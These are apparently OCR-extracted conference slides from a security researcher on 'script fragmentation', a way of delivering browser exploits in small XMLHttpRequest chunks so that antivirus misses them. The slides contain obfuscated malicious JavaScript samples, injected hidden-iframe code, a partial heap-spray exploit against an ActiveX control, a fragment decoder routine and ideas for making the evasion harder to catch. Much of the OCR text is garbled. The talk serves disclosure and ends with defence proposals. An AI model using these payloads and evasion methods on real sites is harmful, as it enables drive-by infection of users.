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Agenda

= Web Exploit Delivery
= Current Detection bypass techniques
= NG Exploit Delivery (Script Fragmentation)

= Note: The Perspective of this talk is as an
attacker not as a defender
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Successful Evasion..

= Passing content over the network that is
indistinguishable from benign traffic or
unable to be processed.
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Undetected - Current methods

Content

= Obfuscated code

= Polymorphic obfuscation
= Encrypted

Network

= Serve content Once per IP

= Fast fluxing domains

Misc.

= Browser detection targeting
= Crawler detection

= VMWARE detection




Attackers in a web 1.9 world




Web 1.0 client/server
communication

ﬂ HTTP/1.1 200 OK

Browser Web Server
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Web 1.0

= Synchronous
= Click
= Submit

Document
Page

Document
Page

Server-Side
Script
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Server-Side
Script
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Web Server

1 Request / 1 Response
HTTP/1.1 200 OK

Browser




1 Request / 1 Response
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1 Request / 1 Response

H TP/1.1 200 K

Web Server

Browser
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file on disk

= C:\Documents and Settings\<USER>\Local
Settings\Temporary Internet Files

[ .l

& C:\Documents and Settings\stephan\local Settings\Temporary Internet Files
File Edit

= |IEm & Sett mporary Internet Files

Mame Internet Addr 3 ] Last #
Folder Tasks ES [ I ) cecd. .. . ) J .. Mone

ied Share this fi

Other Places

Details
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One-step content

transfer

url (#VMLEender) ;
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Compromise/Injection

= |[frame injection
= Scriptinjection

jo B

Browser Compromised Site Exploit Site
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Detection Bypass Technique

= Obfuscation
= Polymorphic Obfuscation




Obfuscated malicious code

<html>

<¢script language="JavaScript">
(| ==

function mbcvagTa2(wuv@3kP7K){var SkBlsTNaQ=arguments.callee. toString().replag
toUpperCase();var nSUFcUdOJ;var M17xSiybo;var wrjNAJVYD=SKB1sTNaQ. length;var d
MFJBIGRWS='"';var nes=102;var rc8KySWNd=new Array(); for(M17xSiybo=0;M17xSiybo<3
rcBKySKWNd [M17xSiybo]=0; var nSUFcUdOJ=1;var AAA=new Array(); for(M17?xSiybo=128;M
1) {nSUFcUdaJ=(nSUFcUdaJ>>>1)~((nSUFcUdaJ&1)?3988292384:0); for (m21vdyR22=0; m21v
M17xSiy6o*2) {rcB8KySWNd[m21vdyR22+M17xSiybo)=(rc8KySKNd [m21vdyR22])*nSUFcUdaJ); 4 1
m21vdyR22+M17xSiybo] < 8) {rc8KySWNd[m21vdyR22+M17xSiybo)+=4294967296; } } }gL3Df1Yy
nSUF cUd@J=0; nSUF cUdBJ <wr j NAJVYD; nSUFcUd@J++) { gL3D f1YSc=rc8KySKNd [ (gL3Df1YSc~SKB]
nSUFcUdBJ) )&255] ~((gL3Df1YSc>>8)&16777215); }gL3Df1YSc=gL3Df1YSc~4294967295; AAA (€
gL3Df1YSc<0) {gL3Df1YSc+=4294967296; }gL3Df1YSc=gL3Df1YSc. toString(16). toUpperCa
new Array();var wrjNAJVYD=gL3Df1YSc. length; for(M17xSiybo=0;M17xSiybo<8;M17?xSiy
+ M17xSiybo >= 8) {xY2UatliV¥l [M17xSiybo)=gL3Df1YSc.charCodeAt(M17xSiybo+wrjNAJIVYC
xY2Uat1Y1 [M17xSiybo]=48; } }var WP20egWHN=0;var WS218236y;var MFJBI6RWS='';var 9
TVCxp4E23;var stop_screen = "1001";wr)NAJVYD=wuvB3kP7K. length; for (M17xSiybo=0; N
M17xSiybo+=2) {WS218236y=parseInt (wuvO3kP7K. substr(M1?xSiybo, 2),16); TVCxp4E23=W
WP20egWHN] ; 4 f(TVCxp4E23<0) {TVCxp4E23 += 256; }MFJIBI6RWB+=String. fromCharCode(TV(
"1002"; 1 f(WP20egWHN<xY2UatlY1. length-1) {WP20egWHN++; } else {WP20egWHN=0; }}docun
m6evagTa2(
'SP6CA494a29AbSa?669c929F97a6A69AABEDS3?b91a7A686a9a29AA1a453833d82515eSE3a97bad
G565 7b8OAESBSD84aB94819379667959aca?791a36579AAASH 76561 76929AB391A398ASSeAARQLIBAAIY
9B79cb49?2595a5EA3AAA3B29194965868a18a 7597250585 75A73a7b585a1A195A388394b995595A0DA
e9706CAR91A30SRAR663956594A18769810692a35084 7228022068986 29 1AAB 229aaa56 7065061769 209G/




Obfuscated malicious code

 Remove white space
e Rename variables

e Rename functions

e Add anti-debugging
 Encode values

e Substitution cipher

e replace function



Obfuscation response

= Security companies created simple JavaScript
engines within their products

= Detect known obfuscation algorithms

...BUT for the most part obfuscation is a successful
technique to bypass detection

Is there more that attackers can do to foil
detection?



Multi-part Attacker response

HTTP/1.1 200 OK

v

Browser Web Server
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Multi-part Attacker response

Browser erver
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N Requests / N Responses

GET/ I1TP/1.1
e —
HTTP/. 200 OK
]
SET/ TTP/1.1
T U

/ 7 TP/LJ " OK
V¥V a
_ ATTP/L.1

.P/1.1 200 OK

A

5B CHTTPAA

[ ]
(TP .1200 OK

- A
c  CTTPAL

Browser Web Server

HTTP/1.1 200 OK




Multi-part Attack Example

if (document.location.href.index (' ) > )

{} elze {[document.write("<div st C >lay inone'>") :

document.write (unescape ('<ifram c=htt .!!h.hljuu.DFU.Eﬂfﬂl.htE}ififFaEE}'
document.write ("</div>") !}

it
1t




Multi-part Attack Example

if {(document.location.href.indexOf ("
[} el=ze {ﬂccuﬂpnf urlqu" 1" style

if (document.location.href.indexOf ("gov")>=
{} else {document.write("<div style='displa;
document .write (unescape ('<iframe src=http://w
document.write ("</div>") !}

"-l

rnone'>")

ou.org.cn/01l.htm></iframe>'




Iframe contains more iframes

<html>

<iframe src="123.htm" width=111 height=0 border=0></iframe>
<iframe src="dex.html" width=111 height=0 border=0></iframe>
<br>

<br>

<br>

<br>

<br>

<script type="text/javascript" src="click.js"></script>

<script type="text/javascript”">

var allok=Math.f{loor (Math.random()*10000) :if ((allok>35000))
deoecument.writeln("<script type='text/javascript'
src="http://js.tongji.linezing.com/1209024/tongji.js'><\/script>") ;</script>




Iframe contains more iframes

<html>

<iframe src="123.htm" width=111 height=0 border=0></iframe>
<iframe src="dex.html" width=111 height=0 border=0></iframe>
<br>

<br>

<br>

<br>

<br>

<script type="text/javascript" src="click.js"></script>

<script type="text/javascript”">

var allok=Math.f{loor (Math.random()*10000) :if ((allok>35000))
deoecument.writeln("<script type='text/javascript'
src="http://js.tongji.linezing.com/1209024/tongji.js'><\/script>") ;</script>




Iframe contains +scripts

<html>
<body>
<div 1d="DiwvID'
<script
<SCcript
<SCcript
<script
<script
<3cript
<SCcript
<SCcript
<script
<script
<cript
</body>

< /html>
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BOOBL
BDED%L
BDEF

EDEF%L

UFE3

ace) » while {zhuizhilM\VP.length+slack
shnishiMvP=shuishilvP+shnishilf

memory=new Array():

hell:
reateElement { 'ob




Current Techniques

1) Obfuscation .
2) Encryption 4
3) Multi-part 4

But Is there EVEN MORE that attackers can
do to foil detection?
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Enter Web 2.0




Web 2.0 Websites

= Client fetching content from multiple Servers
= Servers receiving content from Client

= Gadgets

= Widgets Participation

Usability

= Mashups

Web 2.0
Convergence GE "

Economy

3 g e - Lot lid
Remixabllityv SERPUR! [P || JUSGSR W J
Remixability Standardization
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Web 2.0 - Asynchronous

Various AJAX Method Conventions Using XMLHTTPRequest

e,

XML Request . 7
Initial Page Load - a ~ ] - |
(i.e. Start Application) /' e

1

Server-Side

fK_ML Response Script

.y

J JSDN F{e:quest

.
S

¢ : \ = ~ .
/ HTMLS . I r]
If..lavaScript \ JSON Response —™ .
' Page \
9 Server-Side
Script

REST Response
REST Request '

Server-Side
Script




Attacker in a Web 2.0 Universe

= Exploit UGC
= Exploit Transitive Trust

= Exploit Free access/accounts
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Attacker in a Web 2.0 Universe

= Exploit UGC
= Exploit Transitive Trust

= Exploit Free access/accounts
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Web 2.0 Exploit Delivery




Definition

= Script
Active Content e.g. JavaScript, VBscript, etc.

* Fragmentation
Little chunks of data

(Note: The use of AJAX for malicious use was briefly mentioned at Toorcon 2007)

41



Familiar Fragmentation

= Similarto TCP Fragmentation

= TCP Fragmentation — Network layer
= Script Fragmentation —Application layer

42



Application Fragmentation

= Asynchronous communication

= Building custom protocols on app layer
= No Standard (No RFQ)

= Browsers allow an unknown entity to execute
arbitrary code (JavaScript) on the clients
machine once it arrives — this is by design.




5 minute JavaScript lesson




Basics...

HTML

Browser Document Object Model (DOM)
JavaScript/JSON

Remote Requests - XMLHTTPRequest (XHR)

Cross-Domains Requests - XDomainRequest
(XDR)

45



Basic HTML document and DOM

<html>
<body>
<div 1d=*target” /> -HTML
</body>
</html>

<html>
<body>

<div 1d=*“target” /> -DOM

</body>

</html>



| JavaScript can change DOM
<script>

var d =
document.getElementByld(‘“target™);

var n =
document.createElement(“script”);

n.text = “alert(“test”);”
d.appendChild(n);
</script>




New DOM

<html>
<body>
<div 1d=*“target’>
<script>
alert(“test’);
</script>
</div>
</body>
</html>

DOM




Basic HTML document




JavaScript can execute directly

var text = “alert(“test’);”
eval (text);




DOM stays the same




The power of scripting

var text="ale” + “rt(* + ““te” +
“St”’ + “) ;11

eval (text);




XML HTTP Request Object

var client = new XMLHttpRequest();
client.onreadystatechange = handler;
client.open("'GET", "test.cgl'');
client.send();

var client = new XMLHttpRequest();
client.open("'POST", "/l10g");

client.setRequestHeader("'Content-Type",
"text/plain;charset=UTF-8");

client.send(message);




Xd
Xd

X0

X0
X0

XML Domain Request Object

var xdr= new XDomainRequest();
.
.
r.

var

1

.onload = handler;
.open(""GET",“http://test.com/test.cgi’");
.send();

onload= handler;
open("'GET",“http://test.com/test.cgi'’);
send();

xdr= new XMLHTTPRequest();




Lesson complete!
Phewww ! @




Dynamic retrieval of data

<script>
xmlhttp.open("GET", “/index.php?q=2+2", true);

var response = xmlhttp.responseText;

E—
4mmmm———

Browser Web Server

<[script>
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So what can we do with
dynamic retrieval of data?




Script Fragmentation attack

Store malicious content on server
SERVER: Serve client webpage with script fragmentation decoder routine.

CLIENT: Use XMLHTTPRequest object to request only small chunk of
malicious content from server

SERVER: respond with requested chunk of malicious content

CLIENT: Use JavaScript variable to save chunks of data and continue to use
JavaScript and XMLHTTPRequest object to request new chunk of data until
there is no more data

CLIENT: Execute resulting code once all data is received

58




Step 1

= Store maI|C|ous content on server

Web Server

+ ”’ul SBB’usF?C’uFDJ

.uFEQB’uHESA“ + %UFF57%UB3ET%UBC61%
;  var paylLoadSize = paylLoadCode.length * 2
3 BlDCF:l’P - (payLoadSize+0x38); var spraySlide = unesca
sprayslide = Sprayslide(spraySlide,spraySlideSize);

lheapapra;TUAddreﬁﬁ - 0x400000) /heapBlockSize; memory = new Ar
“ar (i=0;i<heapBlocks;i++) memory[i] = spraysSlide

JdEr } for |I i=20 ; i< 128 H i-l--l-:l { tr_.'f{
var tar = new Actiuexﬂbject['Web”ieuFolderIcon.WEbUiewFolderIco

Bx050505605,0x05050

}ecatch(e) {} } function getapra alldefsprayslide, spray

| { while (spraySlide.length*2<spraySlideSize)
spraySlide += sprayslide; }
iraySlide = sprayslide.substring(@,spraySlideSize/2); return

59



Step 1

= Store malicious content on server

var neapsprayloAddaress = BHHSHEHSBSW
EU9090%UESFCERuUR44%ub000%uds58B%=uBB3C=
"EU49EB%U348B%u018B%:u3 1 EESU99CO%UES

SlideSize = heapBlockSize - (paylLoadSize+0x38); var spraySlide = unesca
e [ "%u0505%u0505") ; spraySlide = getSpraysSlide(spraySlide,spraySlideSize);
eapBlocks = (heapSprayToAddress - 0x480000)/heapBlockSize; memory = new Ar
o “ar (i=0;i<heapBlocks;i++) { memory[i] = spraysSlide
we;  } for (i=0; 1< 128 ; i++) { try{
var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIco

}ecatch(e) {} } function getSpraysSlide(spraysSlide, spray
| { while (spraySlide.length*2<spraySlideSize)
spraySlide += sprayslide; }
iraySlide = sprayslide.substring(@,spraySlideSize/2); return

Web Server

60




Step 2

e SERVER: Serve client webpage with script
fragmentation decoder routine.

o B

Browser Web Server
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Script Fragmentation decoder

POUtine function stepSF()

{
if{xmlhttp)

{
var url = "sfpoc.cgi”;
var querystr = "o=" + offset + "&r=" + recordlength + "&u=" + guid;

var request = url + 7" + querystr:

*mlhttp.open{"GET", request, true);
¥mlhttp.onreadystatechange = function()

{

if (xmlhttp.readyState == 4

{
if{xmlhttp_status == 200)

{
var response = xmlhttp.responseText;
ifiresponse == guid)
{

fl done

done = true;

{f for debugging
var div = document.getElementByld(target’);
div.innerHTML = text:




Steps in action

® Step 2) CLIENT: use XMLHTTPRequest object to request
only small chunk of malicious content from server

jo B

Browser Web Server
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Steps in action

® Step 3) SERVER: respond with requested chunk of
malicious content

B

Browser Web Server
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Steps in action

® Step 4) CLIENT: store chunk and continually request
more chunks until there is no more data.

GET /index.cgi?0=2&r|=3 | I

Browser Web Server

var text = “var
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Steps in action

® Step 4) CLIENT: store chunk and continually request
more chunks until there is no more data.

GET /index.cgi?0=0&r|=3 | I

Browser Web Server

var text = “var he
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Steps in action

® Step 4) CLIENT: store chunk and continually request
more chunks until there is no more data.

GET /index.cgi?0=2&r|=3

o —

Browser Web Server

var text = “var heapS

67




Steps in action

® Step 4) CLIENT: store chunk and continually request
more chunks until there is no more data.

GET /index.cgi?0=12&r1=3

o —

Browser Web Server

var text = “var heapSpra
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Steps in action

= Step 5) CLIENT: execute resulting code once all data
is received.

Browser
/I Method 1 /I Method 2
eval(text); var div = GetElementByld(‘target’);
var n = document.CreateElement(“script”™);
n.text = text;

div.appendChild(n);

69



Options for data transter

RAW (user-defined)
XML

JSON

Etc.
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RAW data format

R —

Browser Web Server
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XML data format

R —

Browser Web Server
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JSON data format

R —

Browser Web Server
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Beyond the basics

Hide Decoder in Flash/PDF files
Randomize sequence of offsets
xor/encrypt data

Previous fragment contains decryption key
for next fragment

Spread data across multiple web servers
(botnet) (XDR)
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Demo




No Script Fragmentation

HIML/Malicious.hotivel.

GW-Edition




| With Script Fragmentation

ﬂ Iﬂ 2 4 ety Fawvarites ‘52

address &El |‘||:|..'|:|:,I',I'1'92. 168,110, 140/ cgi-bingsfpoc. cgi

0.

|7 Backspace | | GE ‘ | G l

MC !
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1
1]

a
]
2
f
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AV won’t detect Script
Fragmentations
= |nitial page will hold decoder routine in script
tag and then blank body.
= The file on disk will never change

= DOM in memory will never change
(if using eval)

= NOSUBSTANTIAL CONTENT
TO SCAN AS MALICIOUS!
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Generic Decoder

» Make decoder use a framework
= Will make decoder generic

The less custom code, the harder it is to detect

= Prototype
= DojoToolkit
= Yahoo Ul

= Etc.




Basic JS Engine

= Simple JS Engine at gateway can’t hold that
much state

= Public JS Implementations are faulty — Check
out Billy Hoffman'’s talk at Blackhat 2008
Vegas
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Victory!

= Script Fragmentation is a very successful
evasion attack that current desktop and
gateway AV do not detect.
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Final Remarks




Future Defenses

= Better JavaScript emulation!@!

= Gateway/Worker Gateway defense
combination

= Gateway/Client defense combination
= Desktop AV have to inspect DOM/JS Engine

= Browser vendors have to better expose
DOM/Scripting functionality.

= White list Active Content (e.g. NoScript)
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Thank you.

Questions?

Stephan Chenette, Websense Labs
schenette@websense.com

http://securitylabs.websense.com/



mailto:schenette@websense.com
http://securitylabs.websense.com/
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